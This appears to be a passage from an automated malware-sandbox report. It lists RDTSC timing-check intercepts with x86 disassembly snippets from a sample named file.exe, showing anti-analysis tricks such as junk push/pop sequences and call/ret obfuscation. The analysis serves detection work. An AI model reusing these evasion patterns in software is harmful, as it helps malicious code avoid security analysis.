Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44BC5 second address: E44BF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FDE70D000C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FDE70D000CBh 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 jmp 00007FDE70D000D7h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44BF9 second address: E44C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44C03 second address: E44C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44C08 second address: E44C0D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44D54 second address: E44D58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E454D2 second address: E454D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E454D8 second address: E454E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jng 00007FDE70D000C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E454E7 second address: E454ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48279 second address: E48296 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007FDE70D000CCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4861B second address: E48636 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDE71263CF1h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48B3A second address: E48B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48BB8 second address: E48BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48C81 second address: E48C91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 jc 00007FDE70D000C6h 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48F79 second address: E48F7F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E490B1 second address: E490EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e jmp 00007FDE70D000D9h 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E490EA second address: E490F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FDE71263CE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E495C5 second address: E495FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007FDE70D000C6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 jmp 00007FDE70D000CAh 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a cld 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FDE70D000D6h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49ED6 second address: E49F6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007FDE71263CE8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 sub dword ptr [ebp+12457D2Ch], ebx 0x0000002d mov dword ptr [ebp+122D20BAh], ecx 0x00000033 push 00000000h 0x00000035 mov esi, edx 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ebx 0x0000003c call 00007FDE71263CE8h 0x00000041 pop ebx 0x00000042 mov dword ptr [esp+04h], ebx 0x00000046 add dword ptr [esp+04h], 00000017h 0x0000004e inc ebx 0x0000004f push ebx 0x00000050 ret 0x00000051 pop ebx 0x00000052 ret 0x00000053 mov dword ptr [ebp+122D1CD4h], ecx 0x00000059 xchg eax, ebx 0x0000005a jmp 00007FDE71263CF2h 0x0000005f push eax 0x00000060 pushad 0x00000061 pushad 0x00000062 jmp 00007FDE71263CF4h 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4B0C0 second address: E4B0C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A763 second address: E4A76C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A76C second address: E4A781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 je 00007FDE70D000D4h 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007FDE70D000C6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4B8F2 second address: E4B915 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDE71263CECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007FDE71263CEEh 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C5BB second address: E4C5C5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDE70D000C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C5C5 second address: E4C5CA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D0C7 second address: E4D0CC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4CE2F second address: E4CE33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4CE33 second address: E4CE37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4CE37 second address: E4CE3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4DC32 second address: E4DC44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jbe 00007FDE70D000C6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4DC44 second address: E4DC49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4DC49 second address: E4DC7B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDE70D000C8h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d sub dword ptr [ebp+1245AF8Dh], edx 0x00000013 push 00000000h 0x00000015 movzx edi, si 0x00000018 push 00000000h 0x0000001a mov dword ptr [ebp+1245DBCDh], esi 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FDE70D000CFh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4DC7B second address: E4DC81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4DC81 second address: E4DC85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50DF2 second address: E50E04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50E04 second address: E50E16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE70D000CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50E16 second address: E50E59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b cld 0x0000000c push 00000000h 0x0000000e mov ebx, 5044F717h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007FDE71263CE8h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 00000014h 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f mov dword ptr [ebp+12453468h], ebx 0x00000035 mov dword ptr [ebp+122D1FB3h], ebx 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50E59 second address: E50E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E53CC5 second address: E53CC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E53CC9 second address: E53D35 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDE70D000C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007FDE70D000C8h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 mov di, 6A5Ch 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push esi 0x0000002f call 00007FDE70D000C8h 0x00000034 pop esi 0x00000035 mov dword ptr [esp+04h], esi 0x00000039 add dword ptr [esp+04h], 0000001Bh 0x00000041 inc esi 0x00000042 push esi 0x00000043 ret 0x00000044 pop esi 0x00000045 ret 0x00000046 mov edi, ecx 0x00000048 push 00000000h 0x0000004a and edi, 47D88BA4h 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 pushad 0x00000055 popad 0x00000056 push edx 0x00000057 pop edx 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54C2C second address: E54C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop esi 0x00000006 push eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c jnc 00007FDE71263CFFh 0x00000012 popad 0x00000013 nop 0x00000014 mov bl, 22h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007FDE71263CE8h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 00000019h 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 or dword ptr [ebp+122D2795h], eax 0x00000038 push 00000000h 0x0000003a mov di, bx 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FDE71263CF2h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56C8F second address: E56C95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56C95 second address: E56C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56C99 second address: E56CCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007FDE70D000D9h 0x00000014 jmp 00007FDE70D000D3h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56CCD second address: E56D56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FDE71263CE8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 mov edi, dword ptr [ebp+122D2BAFh] 0x0000002a mov ebx, esi 0x0000002c push 00000000h 0x0000002e mov bx, CD86h 0x00000032 xor edi, dword ptr [ebp+12459003h] 0x00000038 push 00000000h 0x0000003a jmp 00007FDE71263CEEh 0x0000003f xchg eax, esi 0x00000040 jne 00007FDE71263D02h 0x00000046 push eax 0x00000047 push ebx 0x00000048 pushad 0x00000049 jnp 00007FDE71263CE6h 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFF0FB second address: DFF105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FDE70D000C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFF105 second address: DFF114 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CEBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFF114 second address: DFF130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007FDE70D000C6h 0x0000000d jmp 00007FDE70D000CCh 0x00000012 push edi 0x00000013 pop edi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFF130 second address: DFF13B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 ja 00007FDE71263CE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFF13B second address: DFF157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FDE70D000CDh 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFF157 second address: DFF15D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A7D5 second address: E5A7D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A7D9 second address: E5A894 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDE71263CE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FDE71263CF0h 0x0000000f popad 0x00000010 push eax 0x00000011 push ecx 0x00000012 push edx 0x00000013 jnl 00007FDE71263CE6h 0x00000019 pop edx 0x0000001a pop ecx 0x0000001b nop 0x0000001c mov dword ptr [ebp+122D23D4h], ecx 0x00000022 jmp 00007FDE71263CF8h 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ecx 0x0000002c call 00007FDE71263CE8h 0x00000031 pop ecx 0x00000032 mov dword ptr [esp+04h], ecx 0x00000036 add dword ptr [esp+04h], 0000001Ch 0x0000003e inc ecx 0x0000003f push ecx 0x00000040 ret 0x00000041 pop ecx 0x00000042 ret 0x00000043 mov ebx, 779F8287h 0x00000048 push 00000000h 0x0000004a push 00000000h 0x0000004c push ecx 0x0000004d call 00007FDE71263CE8h 0x00000052 pop ecx 0x00000053 mov dword ptr [esp+04h], ecx 0x00000057 add dword ptr [esp+04h], 00000018h 0x0000005f inc ecx 0x00000060 push ecx 0x00000061 ret 0x00000062 pop ecx 0x00000063 ret 0x00000064 jmp 00007FDE71263CF3h 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007FDE71263CF3h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B804 second address: E5B884 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FDE70D000C8h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 mov bx, dx 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push edi 0x00000030 call 00007FDE70D000C8h 0x00000035 pop edi 0x00000036 mov dword ptr [esp+04h], edi 0x0000003a add dword ptr [esp+04h], 00000015h 0x00000042 inc edi 0x00000043 push edi 0x00000044 ret 0x00000045 pop edi 0x00000046 ret 0x00000047 add ebx, dword ptr [ebp+122D1E57h] 0x0000004d mov di, bx 0x00000050 mov bx, 56F9h 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007FDE70D000D1h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5AA0B second address: E5AA0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B884 second address: E5B88A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5C7F7 second address: E5C867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FDE71263CE8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 call 00007FDE71263CEFh 0x00000029 mov ebx, dword ptr [ebp+124868CEh] 0x0000002f pop ebx 0x00000030 push 00000000h 0x00000032 jmp 00007FDE71263CEAh 0x00000037 push 00000000h 0x00000039 mov dword ptr [ebp+122D204Bh], edi 0x0000003f xchg eax, esi 0x00000040 pushad 0x00000041 jng 00007FDE71263CECh 0x00000047 jng 00007FDE71263CE6h 0x0000004d jns 00007FDE71263CE8h 0x00000053 popad 0x00000054 push eax 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 push edi 0x00000059 pop edi 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5E780 second address: E5E787 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B9DE second address: E5B9E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5E787 second address: E5E7F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007FDE70D000C8h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 call 00007FDE70D000D5h 0x00000027 mov ebx, dword ptr [ebp+122D2D0Fh] 0x0000002d pop edi 0x0000002e push 00000000h 0x00000030 clc 0x00000031 push 00000000h 0x00000033 xor edi, dword ptr [ebp+122D2B92h] 0x00000039 push eax 0x0000003a push esi 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007FDE70D000D1h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5CAF8 second address: E5CAFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B9E3 second address: E5B9E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5E7F0 second address: E5E7F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B9E9 second address: E5B9ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DA41 second address: E5DA57 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDE71263CECh 0x00000008 jng 00007FDE71263CE6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B9ED second address: E5B9FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DA57 second address: E5DA5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B9FB second address: E5B9FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DB2B second address: E5DB2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DB2F second address: E5DB33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DB33 second address: E5DB3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFBBEA second address: DFBBF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E61E0B second address: E61E0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62D87 second address: E62D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FDE70D000C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62D92 second address: E62E37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jc 00007FDE71263CEEh 0x00000010 jnp 00007FDE71263CE8h 0x00000016 nop 0x00000017 jmp 00007FDE71263CF6h 0x0000001c push 00000000h 0x0000001e call 00007FDE71263CEAh 0x00000023 add ebx, 38527AF4h 0x00000029 pop ebx 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007FDE71263CE8h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 00000019h 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 jmp 00007FDE71263CF1h 0x0000004b xchg eax, esi 0x0000004c pushad 0x0000004d jmp 00007FDE71263CF5h 0x00000052 push esi 0x00000053 push eax 0x00000054 pop eax 0x00000055 pop esi 0x00000056 popad 0x00000057 push eax 0x00000058 push ebx 0x00000059 push eax 0x0000005a push edx 0x0000005b push edi 0x0000005c pop edi 0x0000005d rdtsc
